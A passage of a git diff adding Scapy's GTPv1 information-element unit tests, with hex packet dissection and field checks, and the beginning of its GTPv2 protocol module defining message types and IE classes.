Ether(hex_bytes(h)) +assert gtp.gtp_type == 18 +assert gtp.next_ex == 0 + += GTPV1UpdatePDPContextResponse(), dissect +h = "3333333333332222222222228100838408004588005400000000fd1182850a2a00010a2a0002084b084b00406b46321300305843da17f07300000180100000032c7f4a0f58108500040a2a00018500040a2a000187000f0213921f7396d1fe7482ffff004a00f7a71e0a" +gtp = Ether(hex_bytes(h)) +gtp.gtp_type == 19 + += IE_Cause(), dissect +h = "3333333333332222222222228100838408004588005400000000fd1182850a2a00010a2a0002084b084b00406b4632130030f15422be19ed0000018010000046a97f4a0f58108500040a2a00018500040a2a000187000f0213921f7396d1fe7482ffff004a00f7a71e0a" +gtp = Ether(hex_bytes(h)) +ie = gtp.IE_list[0] +ie.ietype == 1 and ie.CauseValue == 128 + += IE_Cause(), basic instantiation +ie = IE_Cause(CauseValue='IMSI not known') +ie.ietype == 1 and ie.CauseValue == 194 + += IE_IMSI(), dissect +h = "333333333333222222222222810083840800458800ba00000000fc1185060a2a00010a2a00024ace084b00a68204321000960eeec43e99ae00000202081132547600000332f42004d27b0ffc102c0787b611b2f9023914051a0400800002f1218300070661616161616184001480802110010100108106000000008306000000008500040a2a00018500040a2a00018600079111111111111187000d0213621f7396737374f2ffff0094000120970001029800080032f42004d204d299000240009a00081111111111110000d111193b" +gtp = Ether(hex_bytes(h)) +ie = gtp.IE_list[0] +ie.ietype == 2 and ie.imsi == b'2080112345670000' + += IE_IMSI(), basic instantiation +ie = IE_IMSI(imsi='208103397660354') +ie.ietype == 2 and ie.imsi == b'208103397660354' + += IE_Routing(), dissect +h = "33333333333322222222222281008384080045880072647100003e11dcf60a2a00010a2a0002084b084b005e78d93212004ef51a4ac3a291ff000332f42004d27b10eb3981b414058500040a2a00018500040a2a000187000f0213921f7396d1fe7482ffff004a0094000110970001019800080132f42004d204d299000240fcb60001015bf2090f" +gtp = Ether(hex_bytes(h)) +ie = gtp.IE_list[0] +ie.ietype == 3 and ie.MCC == b'234' and ie.MNC == b'02' and ie.LAC == 1234 and ie.RAC == 123 + += IE_Routing(), basic instantiation +ie = IE_Routing(MCC='234', MNC='02', LAC=1234, RAC=123) +ie.ietype == 3 and ie.MCC == b'234' and ie.MNC == b'02' and ie.LAC == 1234 and ie.RAC == 123 + += IE_Recovery(), dissect +h = "3333333333332222222222228100038408004500002ac6e60000fd11ccbc0a2a00010a2a0002084b084b001659db32020006c192a26c8cb400000e0e00000000f4b40b31" +gtp = Ether(hex_bytes(h)) +ie = gtp.IE_list[0] +ie.ietype == 14 and ie.restart_counter == 14 + += IE_Recovery(), basic instantiation +ie = IE_Recovery(restart_counter=14) +ie.ietype == 14 and ie.restart_counter == 14 + += IE_SelectionMode(), dissect +h = "333333333333222222222222810083840800458800c500000000fc1184df0a2a00010a2a00024a55084b00b1f62a321000a11c025b77dccc00000202081132547600000332f42004d27b0ffc1055080923117c347b6a14051a0a00800002f1218300070661616161616184001d8080211001000010810600000000830600000000000d00000a000005008500040a2a00018500040a2a00018600079111111111111187000f0213921f7396d3fe74f2ffff00640094000120970001019800080132f42004d204d299000240009a00081111111111110000eea69220" +gtp = Ether(hex_bytes(h)) +ie = gtp.IE_list[2] +ie.ietype == 15 and ie.SelectionMode == 252 + += IE_SelectionMode(), basic instantiation +ie = IE_SelectionMode(SelectionMode=252) +ie.ietype == 15 and ie.SelectionMode == 252 + += IE_TEIDI(), dissect +h = "3333333333332222222222228100838408004588005400000000fd1182850a2a00010a2a0002084b084b00406b46321300303f0ff4fb966f00000180109a0f08ef7f3af826978500040a2a00018500040a2a000187000f0213921f7396d1fe7482ffff004a00f7a71e0a" +gtp = Ether(hex_bytes(h)) +ie = gtp.IE_list[1] +ie.ietype == 16 and ie.TEIDI == 0x9a0f08ef + += IE_TEIDI(), basic instantiation +ie = IE_TEIDI(TEIDI=0x9a0f08ef) +ie.ietype == 16 and ie.TEIDI == 0x9a0f08ef + += IE_TEICP(), dissect +h = "333333333333222222222222810083840800458800c500000000fc1184df0a2a00010a2a00024a55084b00b1f62a321000a1b75eb617464800000202081132547600000332f42004d27b0ffc10db5c765711ba5d87ba14051a0a00800002f1218300070661616161616184001d8080211001000010810600000000830600000000000d00000a000005008500040a2a00018500040a2a00018600079111111111111187000f0213921f7396d3fe74f2ffff00640094000120970001019800080132f42004d204d299000240009a00081111111111110000eea69220" +gtp = Ether(hex_bytes(h)) +ie = gtp.IE_list[4] +ie.ietype == 17 and ie.TEICI == 0xba5d87ba + += IE_TEICP(), basic instantiation +ie = IE_TEICP(TEICI=0xba5d87ba) +ie.ietype == 17 and ie.TEICI == 0xba5d87ba + += IE_Teardown(), dissect +h = "3333333333332222222222228100838408004588002c00000000fd1184640a2a00010a2a00023d66084b00184c2232140008ba66ce5b6efe000013ff14050000c309006c" +gtp = Ether(hex_bytes(h)) +ie = gtp.IE_list[0] +ie.ietype == 19 and ie.indicator == 255 + += IE_Teardown(), basic instantiation +ie = IE_Teardown(indicator='True') +ie.ietype == 19 and ie.indicator == 255 + += IE_NSAPI(), dissect +h = "3333333333332222222222228100838408004588002c00000000fd1184640a2a00010a2a00023d66084b00184c2232140008dafc273ee7ab000013ff14050000c309006c" +gtp = Ether(hex_bytes(h)) +ie = gtp.IE_list[1] +ie.ietype == 20 and ie.NSAPI == 5 + += IE_NSAPI(), basic instantiation +ie = IE_NSAPI(NSAPI=5) +ie.ietype == 20 and ie.NSAPI == 5 + += IE_ChargingCharacteristics(), dissect +h = "333333333333222222222222810083840800458800bc00000000fc1184c90a2a00010a2a00024acf084b00a87bbb32100098a3e2565004a400000202081132547600000332f42004d27b0ffc10b87f17ad11c53c5e1b14051a0400800002f1218300070661616161616184001480802110010000108106000000008306000000008500040a2a00018500040a2a00018600079111111111111187000f0213921f7396d3fe74f2ffff004a0094000120970001019800080132f42004d204d299000240009a00081111111111110000951c5bbe" +gtp = Ether(hex_bytes(h)) +ie = gtp.IE_list[6] +ie.ietype == 26 and ie.normal_charging == 0 and ie.prepaid_charging == 1 and ie.flat_rate_charging == 0 + += IE_ChargingCharacteristics(), basic instantiation +ie = IE_ChargingCharacteristics( + normal_charging=0, prepaid_charging=1, flat_rate_charging=0) +ie.ietype == 26 and ie.normal_charging == 0 and ie.prepaid_charging == 1 and ie.flat_rate_charging == 0 + += IE_TraceReference(), basic instantiation +ie = IE_TraceReference(Trace_reference=0x1212) +ie.ietype == 27 and ie.Trace_reference == 0x1212 + += IE_TraceType(), basic instantiation +ie = IE_TraceType(Trace_type=0x1212) +ie.ietype == 28 and ie.Trace_type == 0x1212 + += IE_ChargingId(), dissect +h = "3333333333332222222222228100838408004588005400000000fd1182850a2a00010a2a0002084b084b00406b4632130030e77ffb7e30410000018010ed654ff37fff1bc3f28500040a2a00018500040a2a000187000f0213921f7396d1fe7482ffff004a00f7a71e0a" +gtp = Ether(hex_bytes(h)) +ie = gtp.IE_list[2] +ie.ietype == 127 and ie.Charging_id == 0xff1bc3f2 + += IE_ChargingId(), basic instantiation +ie = IE_ChargingId(Charging_id=0xff1bc3f2) +ie.ietype == 127 and ie.Charging_id == 0xff1bc3f2 + += IE_EndUserAddress(), dissect +h = "3333333333332222222222228100838408004588008500000000fd11840b0a2a00010a2a0002084b4a6c00717c8a32110061c1b9728f356a0000018008fe10af709e9011e3cb6a4b7fb60e1b28800006f1210a2a00038400218080210a0301000a03060ab0aa93802110030100108106ac14020a8306ac1402278500040a2a00018500040a2a000187000c0213621f7396486874f2ffff44ded108" +gtp = Ether(hex_bytes(h)) +ie = gtp.IE_list[5] +ie.ietype == 128 and ie.length == 6 and ie.PDPTypeOrganization == 1 and ie.PDPTypeNumber == 0x21 and ie.PDPAddress == '10.42.0.3' + += IE_EndUserAddress(), IPv4/IPv6 dissect +h = "00e0fc065f3800e1fc452bf30800450000cf00004000ff11a8afbd28ac11bd28ac0b084b084b00bb0000321100ab645b29420f990000018008fe0e12100270582511027258257f030b15a6800016f18d0a2a00032805021582842522000000000000000084004f80c0230e0200000e0957656c636f6d65210a802110030000108106bd28c6508306bd28c651000310280402148000ffff0000000000000080000310280402148000ffff000000000000008100050101850004bd28ac12850004bd28ac1287000f0223921f9196fefe74f8fefe004a00fb00040acf6976" +gtp = Ether(hex_bytes(h)) +ie = gtp.IE_list[6] +ie.ietype == 128 and ie.length == 22 and ie.PDPTypeOrganization == 1 and ie.PDPTypeNumber == 0x8d and ie.PDPAddress == '10.42.0.3' and ie.IPv6_PDPAddress == '2805:215:8284:2522::' + += IE_EndUserAddress(), basic instantiation IPv4 +ie = IE_EndUserAddress( + length=6, PDPTypeOrganization=1, PDPTypeNumber=0x21, PDPAddress='10.42.0.3') +ie.ietype == 128 and ie.length == 6 and ie.PDPTypeOrganization == 1 and ie.PDPTypeNumber == 0x21 and ie.PDPAddress == '10.42.0.3' + += IE_EndUserAddress(), basic instantiation IPv6 +ie = IE_EndUserAddress( + length=18, PDPTypeOrganization=1, PDPTypeNumber=0x57, IPv6_PDPAddress='2804::') +ie.ietype == 128 and ie.length == 18 and ie.PDPTypeOrganization == 1 and ie.PDPTypeNumber == 0x57 and ie.IPv6_PDPAddress == '2804::' + += IE_EndUserAddress(), basic instantiation IPv4/IPv6 +ie = IE_EndUserAddress( + length=22, PDPTypeOrganization=1, PDPTypeNumber=0x8d, PDPAddress='10.42.0.3', IPv6_PDPAddress ='2804::') +ie.ietype == 128 and ie.length == 22 and ie.PDPTypeOrganization == 1 and ie.PDPTypeNumber == 0x8d and ie.IPv6_PDPAddress == '2804::' and ie.PDPAddress == '10.42.0.3' + + += IE_AccessPointName(), dissect +h = "333333333333222222222222810083840800458800bc00000000fc1184c90a2a00010a2a00024acf084b00a87bbb3210009867fe972185e800000202081132547600000332f42004d27b0ffc1093b20c3f11940eb2bf14051a0400800002f1218300070661616161616184001480802110010000108106000000008306000000008500040a2a00018500040a2a00018600079111111111111187000f0213921f7396d3fe74f2ffff004a0094000120970001019800080132f42004d204d299000240009a000811111111111100001b1212951c5bbe" +gtp = Ether(hex_bytes(h)) +ie = gtp.IE_list[8] +ie.ietype == 131 and ie.APN == b'aaaaaa' + += IE_AccessPointName(), basic instantiation +ie = IE_AccessPointName(APN='aaaaaa') +ie.ietype == 131 and ie.APN == b'aaaaaa' + += IE_ProtocolConfigurationOptions(), dissect +h = "333333333333222222222222810083840800458800c300000000fc1184e50a2a00010a2a00024a4d084b00af41993210009fdef90e15440900000202081132547600000332f42004d27b0ffc10c29998b81145c6c9ee14051a0a00800002f1218300070661616161616184001d80c02306010100060000802110010100108106000000008306000000008500040a2a00018500040a2a00018600079111111111111187000d0213621f73967373741affff0094000120970001029800080032f42004d204d299000240009a0008111111111111000081182fb2" +gtp = Ether(hex_bytes(h)) +ie = gtp.IE_list[9] +ie.ietype == 132 and ie.Protocol_Configuration == b'\x80\xc0#\x06\x01\x01\x00\x06\x00\x00\x80!\x10\x01\x01\x00\x10\x81\x06\x00\x00\x00\x00\x83\x06\x00\x00\x00\x00' + += IE_ProtocolConfigurationOptions(), basic instantiation +ie = IE_ProtocolConfigurationOptions( + length=29, Protocol_Configuration=b'\x80\xc0#\x06\x01\x01\x00\x06\x00\x00\x80!\x10\x01\x01\x00\x10\x81\x06\x00\x00\x00\x00\x83\x06\x00\x00\x00\x00') +ie.ietype == 132 and ie.Protocol_Configuration == b'\x80\xc0#\x06\x01\x01\x00\x06\x00\x00\x80!\x10\x01\x01\x00\x10\x81\x06\x00\x00\x00\x00\x83\x06\x00\x00\x00\x00' + += IE_GSNAddress(), dissect +h = "3333333333332222222222228100838408004588005400000000fd1182850a2a00010a2a0002084b084b00406b463213003031146413c18000000180109181ba027fcf701a8c8500040a2a00018500040a2a000187000f0213921f7396d1fe7482ffff004a00f7a71e0a" +gtp = Ether(hex_bytes(h)) +ie = gtp.IE_list[3] +ie.ietype == 133 and ie.address == '10.42.0.1' + += IE_GSNAddress(), basic instantiation +ie = IE_GSNAddress(address='10.42.0.1') +ie.ietype == 133 and ie.address == '10.42.0.1' + += IE_MSInternationalNumber(), dissect +h = "333333333333222222222222810083840800458800c300000000fc1184e50a2a00010a2a00024a4d084b00af41993210009f79504a3e048e00000202081132547600000332f42004d27b0ffc10a692773d1158da9e2214051a0a00800002f1218300070661616161616184001d80c02306010100060000802110010100108106000000008306000000008500040a2a00018500040a2a00018600079111111111111187000d0213621f73967373741affff0094000120970001029800080032f42004d204d299000240009a0008111111111111000081182fb2" +gtp = Ether(hex_bytes(h)) +ie = gtp.IE_list[12] +ie.ietype == 134 and ie.flags == 145 and ie.digits == b'111111111111' + += IE_MSInternationalNumber(), basic instantiation +ie = IE_MSInternationalNumber(flags=145, digits='111111111111') +ie.ietype == 134 and ie.flags == 145 and ie.digits == b'111111111111' + += IE_QoS(), dissect +h = "3333333333332222222222228100838408004588005400000000fd1182850a2a00010a2a0002084b084b00406b4632130030afe9d3a3317e0000018010bd82f3997f9febcaf58500040a2a00018500040a2a000187000f0213921f7396d1fe7482ffff004a00f7a71e0a" +gtp = Ether(hex_bytes(h)) +ie = gtp.IE_list[5] +ie.ietype == 135 and ie.allocation_retention_prioiry == 2 and ie.delay_class == 2 and ie.traffic_class == 3 + += IE_QoS(), basic instantiation +ie = IE_QoS( + allocation_retention_prioiry=2, delay_class=2, traffic_class=3) +ie.ietype == 135 and ie.allocation_retention_prioiry == 2 and ie.delay_class == 2 and ie.traffic_class == 3 + += IE_CommonFlags(), dissect +h = "3333333333332222222222228100a38408004588006800000000fd1134820a2a00010a2a00024aa5084b005408bb32120044623f97e3ac610000104d82c69214058500040a2a00018500040a2a000187000c0213921f739680fe74f2ffff94000130970001019800080132f42004d204d29900024000b6000101" +gtp = Ether(hex_bytes(h)) +ie = gtp.IE_list[5] +ie.ietype == 148 and ie.nrsn == 1 and ie.no_qos_nego == 1 and ie.prohibit_payload_compression == 0 + += IE_CommonFlags(), basic instantiation +ie = IE_CommonFlags(nrsn=1, no_qos_nego=1) +ie.ietype == 148 and ie.nrsn == 1 and ie.no_qos_nego == 1 and ie.prohibit_payload_compression == 0 + += IE_APNRestriction(), basic instantiation +ie = IE_APNRestriction(restriction_type_value=12) +ie.ietype == 149 and ie.restriction_type_value == 12 + += IE_RATType(), dissect +h = "3333333333332222222222228100a38408004588006800000000fd1134820a2a00010a2a00024aa5084b005408bb321200442f686a89d33c000010530ec20a14058500040a2a00018500040a2a000187000c0213921f739680fe74f2ffff94000130970001019800080132f42004d204d29900024000b6000101" +gtp = Ether(hex_bytes(h)) +ie = gtp.IE_list[6] +ie.ietype == 151 and ie.RAT_Type == 1 + += IE_RATType(), basic instantiation +ie = IE_RATType(RAT_Type=1) +ie.ietype == 151 and ie.RAT_Type == 1 + += IE_UserLocationInformation(), dissect +h = "3333333333332222222222228100a38408004588006800000000fd1134820a2a00010a2a00024aa5084b005408bb32120044981eb5dcb29400001016e85d9f14058500040a2a00018500040a2a000187000c0213921f739680fe74f2ffff94000130970001019800080132f42004d204d29900024000b6000101" +gtp = Ether(hex_bytes(h)) +ie = gtp.IE_list[7] +ie.MCC == b'234' and ie.MNC == b'02' and ie.LAC == 1234 and ie.SAC == 1234 + += IE_UserLocationInformation(), basic instantiation +ie = IE_UserLocationInformation(MCC='234', MNC='02', LAC=1234, SAC=1234) +ie.ietype == 152 and ie.MCC == b'234' and ie.MNC == b'02' and ie.LAC == 1234 and ie.SAC == 1234 + += IE_MSTimeZone(), dissect +h = "3333333333332222222222228100a38408004588006800000000fd1134820a2a00010a2a00024aa5084b005408bb32120044f24a4d5825290000102ca9c8c314058500040a2a00018500040a2a000187000c0213921f739680fe74f2ffff94000130970001019800080132f42004d204d29900024000b6000101" +gtp = Ether(hex_bytes(h)) +ie = gtp.IE_list[8] +ie.ietype == 153 and ie.timezone == 64 and ie.daylight_saving_time == 0 + += IE_MSTimeZone(), basic instantiation +ie = IE_MSTimeZone(timezone=64) +ie.ietype == 153 and ie.timezone == 64 and ie.daylight_saving_time == 0 + += IE_IMEI(), dissect +h = "333333333333222222222222810083840800458800c300000000fc1184e50a2a00010a2a00024a4d084b00af41993210009f2f3ae0eb7b9c00000202081132547600000332f42004d27b0ffc10424a10c8117ca21aba14051a0a00800002f1218300070661616161616184001d80c02306010100060000802110010100108106000000008306000000008500040a2a00018500040a2a00018600079111111111111187000d0213621f73967373741affff0094000120970001029800080032f42004d204d299000240009a0008111111111111000081182fb2" +gtp = Ether(hex_bytes(h)) +ie = gtp.IE_list[18] and ie.ietype == 154 and ie.IMEI == b'0132750094080322' + += IE_IMEI(), basic instantiation +ie = IE_IMEI(IMEI='0132750094080322') +ie.ietype == 154 and ie.IMEI == b'0132750094080322' + += IE_MSInfoChangeReportingAction(), basic instantiation +ie = IE_MSInfoChangeReportingAction(Action=12) +ie.ietype == 181 and ie.Action == 12 + += IE_DirectTunnelFlags(), dissect +h = "3333333333332222222222228100a38408004588006800000000fd1134820a2a00010a2a00024aa5084b005408bb32120044d2a7dffabfb70000108caa6b0b14058500040a2a00018500040a2a000187000c0213921f739680fe74f2ffff94000130970001019800080132f42004d204d29900024000b6000101" +gtp = Ether(hex_bytes(h)) +ie = gtp.IE_list[9] +ie.ietype == 182 and ie.EI == 0 and ie.GCSI == 0 and ie.DTI == 1 + += IE_DirectTunnelFlags(), basic instantiation +ie = IE_DirectTunnelFlags(DTI=1) +ie.ietype == 182 and ie.EI == 0 and ie.GCSI == 0 and ie.DTI == 1 + += IE_BearerControlMode(), basic instantiation +ie = IE_BearerControlMode(bearer_control_mode=1) +ie.ietype == 184 and ie.bearer_control_mode == 1 + += IE_EvolvedAllocationRetentionPriority(), basic instantiation +ie = IE_EvolvedAllocationRetentionPriority(PCI=1) +ie.ietype == 191 and ie.PCI == 1 + += IE_CharginGatewayAddress(), basic instantiation +ie = IE_CharginGatewayAddress() +ie.ietype == 251 and ie.ipv4_address == '127.0.0.1' and ie.ipv6_address == '::1' + += IE_PrivateExtension(), basic instantiation +ie = IE_PrivateExtension(extention_value='hello') +ie.ietype == 255 and ie.extention_value == b'hello' diff --git a/libs/scapy/contrib/gtp_v2.py b/libs/scapy/contrib/gtp_v2.py new file mode 100755 index 0000000..3a10d49 --- /dev/null +++ b/libs/scapy/contrib/gtp_v2.py @@ -0,0 +1,1270 @@ +# Copyright (C) 2017 Alessio Deiana +# 2017 Alexis Sultan + +# This file is part of Scapy +# Scapy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 2 of the License, or +# any later version. +# +# Scapy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Scapy. If not, see . + +# scapy.contrib.description = GPRS Tunneling Protocol v2 (GTPv2) +# scapy.contrib.status = loads + +import struct + + +from scapy.compat import orb +from scapy.fields import BitEnumField, BitField, ByteEnumField, ByteField, \ + ConditionalField, IntField, IPField, LongField, PacketField, \ + PacketListField, ShortEnumField, ShortField, StrFixedLenField, \ + StrLenField, ThreeBytesField, XBitField, XIntField, XShortField, \ + FieldLenField +from scapy.data import IANA_ENTERPRISE_NUMBERS +from scapy.packet import bind_layers, Packet, Raw +from scapy.volatile import RandIP, RandShort + + +from scapy.contrib import gtp + + +RATType = { + 6: "EUTRAN", +} + +# 3GPP TS 29.274 v16.1.0 table 6.1-1 +GTPmessageType = { + 1: "echo_request", + 2: "echo_response", + 3: "version_not_supported", + + # 4-16: S101 interface, TS 29.276. + # 17-24: S121 interface, TS 29.276. + # 25-31: Sv interface, TS 29.280. + + # SGSN/MME/ TWAN/ePDG to PGW (S4/S11, S5/S8, S2a, S2b) + 32: "create_session_req", + 33: "create_session_res", + 36: "delete_session_req", + 37: "delete_session_res", + + # SGSN/MME/ePDG to PGW (S4/S11, S5/S8, S2b) + 34: "modify_bearer_req", + 35: "modify_bearer_res", + + # MME to PGW (S11, S5/S8) + 40: "remote_ue_report_notif", + 41: "remote_ue_report_ack", + + # SGSN/MME to PGW (S4/S11, S5/S8) + 38: "change_notif_req", + 39: "change_notif_res", + # 42-46: For future use. + 164: "resume_notif", + 165: "resume_ack", + + # Messages without explicit response + 64: "modify_bearer_cmd", + 65: "modify_bearer_failure_indic", + 66: "delete_bearer_cmd", + 67: "delete_bearer_failure_indic", + 68: "bearer_resource_cmd", + 69: "bearer_resource_failure_indic", + 70: "downlink_data_notif_failure_indic", + 71: "trace_session_activation", + 72: "trace_session_deactivation", + 73: "stop_paging_indic", + # 74-94: For future use. + + # PGW to SGSN/MME/ TWAN/ePDG (S5/S8, S4/S11, S2a, S2b) + 95: "create_bearer_req", + 96: "create_bearer_res", + 97: "update_bearer_req", + 98: "update_bearer_res", + 99: "delete_bearer_req", + 100: "delete_bearer_res", + + # PGW to MME, MME to PGW, SGW to PGW, SGW to MME, PGW to TWAN/ePDG, + # TWAN/ePDG to PGW (S5/S8, S11, S2a, S2b) + 101: "delete_pdn_connection_set_req", + 102: "delete_pdn_connection_set_res", + + # PGW to SGSN/MME (S5, S4/S11) + 103: "pgw_downlink_triggering_notif", + 104: "pgw_downlink_triggering_ack", + # 105-127: For future use. + + # MME to MME, SGSN to MME, MME to SGSN, SGSN to SGSN, MME to AMF, + # AMF to MME (S3/S10/S16/N26) + 128: "identification_req", + 129: "identification_res", + 130: "context_req", + 131: "context_res", + 132: "context_ack", + 133: "forward_relocation_req", + 134: "forward_relocation_res", + 135: "forward_relocation_complete_notif", + 136: "forward_relocation_complete_ack", + 137: "forward_access_context_notif", + 138: "forward_access_context_ack", + 139: "relocation_cancel_req", + 140: "relocation_cancel_res", + 141: "configuration_transfer_tunnel", + # 142-148: For future use. + 152: "ran_information_relay", + + # SGSN to MME, MME to SGSN (S3) + 149: "detach_notif", + 150: "detach_ack", + 151: "cs_paging_indic", + 153: "alert_mme_notif", + 154: "alert_mme_ack", + 155: "ue_activity_notif", + 156: "ue_activity_ack", + 157: "isr_status_indic", + 158: "ue_registration_query_req", + 159: "ue_registration_query_res", + + # SGSN/MME to SGW, SGSN to MME (S4/S11/S3) + # SGSN to SGSN (S16), SGW to PGW (S5/S8) + 162: "suspend_notif", + 163: "suspend_ack", + + # SGSN/MME to SGW (S4/S11) + 160: "create_forwarding_tunnel_req", + 161: "create_forwarding_tunnel_res", + 166: "create_indirect_data_forwarding_tunnel_req", + 167: "create_indirect_data_forwarding_tunnel_res", + 168: "delete_indirect_data_forwarding_tunnel_req", + 169: "delete_indirect_data_forwarding_tunnel_res", + 170: "realease_bearers_req", + 171: "realease_bearers_res", + # 172-175: For future use + + # SGW to SGSN/MME (S4/S11) + 176: "downlink_data_notif", + 177: "downlink_data_notif_ack", + 179: "pgw_restart_notif", + 180: "pgw_restart_notif_ack", + + # SGW to SGSN (S4) + # 178: Reserved. Allocated in earlier version of the specification. + # 181-199: For future use. + + # SGW to PGW, PGW to SGW (S5/S8) + 200: "update_pdn_connection_set_req", + 201: "update_pdn_connection_set_res", + # 202-210: For future use. + + # MME to SGW (S11) + 211: "modify_access_bearers_req", + 212: "modify_access_bearers_res", + # 213-230: For future use. + + # MBMS GW to MME/SGSN (Sm/Sn) + 231: "mbms_session_start_req", + 232: "mbms_session_start_res", + 233: "mbms_session_update_req", + 234: "mbms_session_update_res", + 235: "mbms_session_stop_req", + 236: "mbms_session_stop_res", + # 237-239: For future use. + + # Other + # 240-247: Reserved for Sv interface (see also types 25 to 31, and + # TS 29.280). + # 248-255: For future use. +} + +IEType = {1: "IMSI", + 2: "Cause", + 3: "Recovery Restart", + 71: "APN", + 72: "AMBR", + 73: "EPS Bearer ID", + 74: "IPv4", + 75: "MEI", + 76: "MSISDN", + 77: "Indication", + 78: "Protocol Configuration Options", + 79: "PAA", + 80: "Bearer QoS", + 82: "RAT", + 83: "Serving Network", + 86: "ULI", + 87: "F-TEID", + 93: "Bearer Context", + 94: "Charging ID", + 95: "Charging Characteristics", + 99: "PDN Type", + 114: "UE Time zone", + 126: "Port Number", + 127: "APN Restriction", + 128: "Selection Mode", + 161: "Max MBR/APN-AMBR (MMBR)", + 255: "Private Extension", + } + + +class GTPHeader(Packet): + # 3GPP TS 29.060 V9.1.0 (2009-12) + # without the version + name = "GTP v2 Header" + fields_desc = [BitField("version", 2, 3), + BitField("P", 1, 1), + BitField("T", 1, 1), + BitField("SPARE", 0, 1), + BitField("SPARE", 0, 1), + BitField("SPARE", 0, 1), + ByteEnumField("gtp_type", None, GTPmessageType), + ShortField("length", None), + ConditionalField(XIntField("teid", 0), + lambda pkt:pkt.T == 1), + ThreeBytesField("seq", RandShort()), + ByteField("SPARE", 0) + ] + + def post_build(self, p, pay): + p += pay + if self.length is None: + tmp_len = len(p) - 8 + p = p[:2] + struct.pack("!H", tmp_len) + p[4:] + return p + + def hashret(self): + return struct.pack("B", self.version) + self.payload.hashret() + + def answers(self, other): + return (isinstance(other, GTPHeader) and + self.version == other.version and + self.payload.answers(other.payload)) + + +class IE_IPv4(gtp.IE_Base): + name = "IE IPv4" + fields_desc = [ByteEnumField("ietype", 74, IEType), + ShortField("length", 0), + BitField("CR_flag", 0, 4), + BitField("instance", 0, 4), + IPField("address", RandIP())] + + +class IE_MEI(gtp.IE_Base): + name = "IE MEI" + fields_desc = [ByteEnumField("ietype", 75, IEType), + ShortField("length", 0), + BitField("CR_flag", 0, 4), + BitField("instance", 0, 4), + LongField("MEI", 0)] + + +def IE_Dispatcher(s): + """Choose the correct Information Element class.""" + + # Get the IE type + ietype = orb(s[0]) + cls = ietypecls.get(ietype, Raw) + + # if ietype greater than 128 are TLVs + if cls is Raw and ietype > 128: + cls = IE_NotImplementedTLV + + return cls(s) + + +class IE_EPSBearerID(gtp.IE_Base): + name = "IE EPS Bearer ID" + fields_desc = [ByteEnumField("ietype", 73, IEType), + ShortField("length", 0), + BitField("CR_flag", 0, 4), + BitField("instance", 0, 4), + ByteField("EBI", 0)] + + +class IE_RAT(gtp.IE_Base): + name = "IE RAT" + fields_desc = [ByteEnumField("ietype", 82, IEType), + ShortField("length", 0), + BitField("CR_flag", 0, 4), + BitField("instance", 0, 4), + ByteEnumField("RAT_type", None, RATType)] + + +class IE_ServingNetwork(gtp.IE_Base): + name = "IE Serving Network" + fields_desc = [ByteEnumField("ietype", 83, IEType), + ShortField("length", 0), + BitField("CR_flag", 0, 4), + BitField("instance", 0, 4), + gtp.TBCDByteField("MCC", "", 2), + gtp.TBCDByteField("MNC", "", 1)] + + +# User Location Information IE and fields. +# 3GPP TS 29.274 v16.1.0 section 8.21. + + +class ULI_Field(Packet): + """Base class for ULI fields.""" + + def extract_padding(self, s): + return "", s + + +class ULI_CGI(ULI_Field): + name = "Cell Global Identifier" + fields_desc = [ + gtp.TBCDByteField("MCC", "", 2), + gtp.TBCDByteField("MNC", "", 1), + BitField("LAC", 0, 4), + BitField("CI", 0, 28), + ] + + +class ULI_SAI(ULI_Field): + name = "Service Area Identity" + fields_desc = [ + gtp.TBCDByteField("MCC", "", 2), + gtp.TBCDByteField("MNC", "", 1), + ShortField("LAC", 0), + ShortField("SAC", 0), + ] + + +class ULI_RAI(ULI_Field): + name = "Routing Area Identity" + fields_desc = [ + gtp.TBCDByteField("MCC", "", 2), + # MNC: if the third digit of MCC is 0xf, then the length of + # MNC is 1 byte + gtp.TBCDByteField("MNC", "", 1), + ShortField("LAC", 0), + ShortField("RAC", 0), + ] + + +class ULI_TAI(ULI_Field): + name = "Tracking Area Identity" + fields_desc = [ + gtp.TBCDByteField("MCC", "", 2), + gtp.TBCDByteField("MNC", "", 1), + ShortField("TAC", 0), + ] + + +class ULI_ECGI(ULI_Field): + name = "E-UTRAN Cell Global Identifier" + fields_desc = [ + gtp.TBCDByteField("MCC", "", 2), + gtp.TBCDByteField("MNC", "", 1), + BitField("SPARE", 0, 4), + BitField("ECI", 0, 28), + ] + + +class ULI_LAI(ULI_Field): + name = "Location Area Identifier" + fields_desc = [ + gtp.TBCDByteField("MCC", "", 2), + gtp.TBCDByteField("MNC", "", 1), + ShortField("LAC", 0), + ] + + +class IE_ULI(gtp.IE_Base): + name = "IE User Location Information" + fields_desc = [ + ByteEnumField("ietype", 86, IEType), + ShortField("length", 0), + BitField("CR_flag", 0, 4), + BitField("instance", 0, 4), + BitField("SPARE", 0, 2), + BitField("LAI_Present", 0, 1), + BitField("ECGI_Present", 0, 1), + BitField("TAI_Present", 0, 1), + BitField("RAI_Present", 0, 1), + BitField("SAI_Present", 0, 1), + BitField("CGI_Present", 0, 1), + ConditionalField( + PacketField("CGI", 0, ULI_CGI), + lambda pkt: bool(pkt.CGI_Present)), + ConditionalField( + PacketField("SAI", 0, ULI_SAI), + lambda pkt: bool(pkt.SAI_Present)), + ConditionalField( + PacketField("RAI", 0, ULI_RAI), + lambda pkt: bool(pkt.RAI_Present)), + ConditionalField( + PacketField("TAI", 0, ULI_TAI), + lambda pkt: bool(pkt.TAI_Present)), + ConditionalField( + PacketField("ECGI", 0, ULI_ECGI), + lambda pkt: bool(pkt.ECGI_Present)), + ConditionalField( + PacketField("LAI", 0, ULI_LAI), + lambda pkt: bool(pkt.LAI_Present)), + ] + + +# 3GPP TS 29.274 v12.12.0 section 8.22 +INTERFACE_TYPES = { + 0: "S1-U eNodeB GTP-U interface", + 1: "S1-U SGW GTP-U interface", + 2: "S12 RNC GTP-U interface", + 3: "S12 SGW GTP-U interface", + 4: "S5/S8 SGW GTP-U interface", + 5: "S5/S8 PGW GTP-U interface", + 6: "S5/S8 SGW GTP-C interface", + 7: "S5/S8 PGW GTP-C interface", + 8: "S5/S8 SGW PMIPv6 interface", + 9: "S5/S8 PGW PMIPv6 interface", + 10: "S11 MME GTP-C interface", + 11: "S11/S4 SGW GTP-C interface", + 12: "S10 MME GTP-C interface", + 